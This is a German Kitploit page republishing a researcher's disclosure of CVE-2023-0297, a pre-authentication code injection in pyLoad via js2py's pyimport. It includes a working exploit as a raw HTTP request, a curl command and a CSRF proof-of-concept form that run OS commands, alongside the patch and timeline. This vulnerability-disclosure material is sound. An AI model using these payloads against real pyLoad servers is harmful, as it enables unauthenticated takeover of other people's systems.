Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-0297_Pre-auth_RCE_in_pyLoad — CVE-2023-0297: Die Geschichte der Entdeckung von Pre-auth RCE in pyLoad | Kitploit
Tools/GitHubGitHub/bauh0lz/cve-2023-0297_pre-auth_rce_in_pyload
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubbauh0lz/cve-2023-0297_pre-auth_rce_in_pyload

CVE-2023-0297_Pre-auth_RCE_in_pyLoad

CVE-2023-0297: Die Geschichte der Entdeckung von Pre-auth RCE in pyLoad

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
2810vor 3 JahrenVon Kitploit geprüft

CVE-2023-0297: Pre-Auth-RCE in pyLoad

Die Geschichte der Entdeckung von Pre-Auth-RCE in pyLoad

TL;DR

Eine Code-Injection-Schwachstelle in pyLoad-Versionen vor 0.5.0b3.dev31 führt zu Pre-Auth-RCE durch Missbrauch der js2py-Funktionalität.

Den Bericht finden Sie hier und den Exploit-Code hier.

Details

pyLoad ist ein in Python geschriebener Open-Source-Download-Manager, der über eine Weboberfläche verwaltet werden kann. Sein GitHub-Repository hat Stand 9. Januar 2023 etwa 2,8k Sterne.

Während ich den Quellcode von pyLoad auditierte, fiel mir folgender Code auf:

cnl_blueprint.py#L124

root@kitploit:~
    jk = eval_js(f"{jk} f()")

Die Definition der eval_js-Funktion ist wie folgt:

misc.py#L25-L27

root@kitploit:~
def eval_js(script, es6=False):
    # return requests_html.HTML().render(script=script, reload=False)
    return (js2py.eval_js6 if es6 else js2py.eval_js)(script)

eval_js(f"{jk} f()") verwendet die js2py-Funktionalität, die JavaScript-Code f"{jk} f()" ausführt, wobei der Parameter jk über einen Request-Parameter übergeben wird:

cnl_blueprint.py#L120

root@kitploit:~
    jk = flask.request.form["jk"]

Daher können Sie beliebigen JavaScript-Code ausführen, indem Sie den Endpunkt aufrufen.

Allerdings, wie kann man es missbrauchen? Da im js2py.eval_js()-Kontext weder XMLHttpRequest, fetch noch require (wie in Node.js) definiert sind, sind SSRF oder das Lesen lokaler Dateien nicht möglich.

Nach einiger Zeit fand ich eine raffinierte js2py-Funktionalität:

pyimport statement

root@kitploit:~
Finally, Js2Py also supports importing any Python code from JavaScript using 'pyimport' statement:

>>> x = """pyimport urllib;
           var result = urllib.urlopen('https://www.google.com/').read();
           console.log(result.length)
        """
>>> js2py.eval_js(x)
18211
undefined

Mit dieser Funktionalität können Sie Python-Bibliotheken im js2py.eval_js()-Kontext verwenden! Überraschenderweise ist pyimport standardmäßig aktiviert. :o

Ich habe einfachen Code ausprobiert, der einen OS-Befehl mit pyimport ausführt:

root@kitploit:~
$ ls /tmp/pwnd
ls: /tmp/pwnd: No such file or directory

$ python -c 'import js2py; js2py.eval_js("pyimport os; os.system(\"touch /tmp/pwnd\")")'

$ ls /tmp/pwnd
/tmp/pwnd

Wie erwartet wurde touch /tmp/pwnd ausgeführt!

Durch Senden der folgenden Anfrage würde auf dem Zielhost dasselbe passieren:

root@kitploit:~
POST /flash/addcrypted2 HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

jk=pyimport%20os;os.system("touch%20/tmp/pwnd");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa

Der Teil ;f=function%20f2(){}; im jk-Parameter ist notwendig, da dieser Endpunkt eval_js(f"{jk} f()") ausführt. Wenn er fehlt, wird der injizierte Code aufgrund des Fehlers name 'f' is not defined nicht ausgeführt.

Beachten Sie, dass in der Anfrage kein Cookie und kein CSRF-Token enthalten sind. Das bedeutet:

  • Ein nicht authentifizierter Angreifer, der auf den Zielhost zugreifen kann, ist zu RCE fähig.
  • Selbst wenn ein Angreifer nicht auf den Zielhost zugreifen kann, kann er ein Opfer, das auf den Zielhost zugreifen kann, durch einen CSRF-Angriff dazu bringen, RCE auszuführen:
root@kitploit:~
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://<target>/flash/addcrypted2" method="POST">
      <input type="hidden" name="package" value="xxx" />
      <input type="hidden" name="crypted" value="AAAA" />
      <input type="hidden" name="jk" value="pyimport&#32;os&#59;os&#46;system&#40;&quot;touch&#32;&#47;tmp&#47;pwnd&quot;&#41;&#59;f&#61;function&#32;f2&#40;&#41;&#123;&#125;&#59;" />
      <input type="hidden" name="passwords" value="aaaa" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Exploit-Code

root@kitploit:~
curl -i -s -k -X $'POST' \
    --data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
    $'http://<target>/flash/addcrypted2'

Patch

Deaktivieren Sie einfach die pyimport-Funktionalität.

misc.py

root@kitploit:~
 import js2py
 
+js2py.disable_pyimport()

Zeitleiste

  • 2023-01-02: Gemeldet an huntr.dev
  • 2023-01-04: Schwachstelle bestätigt
  • 2023-01-04: Schwachstelle behoben und Bericht veröffentlicht
  • 2023-01-14: CVE-ID zugewiesen

Vielen Dank an das huntr.dev-Team und den pyLoad-Maintainer für die schnellen Antworten!

Tool herunterladen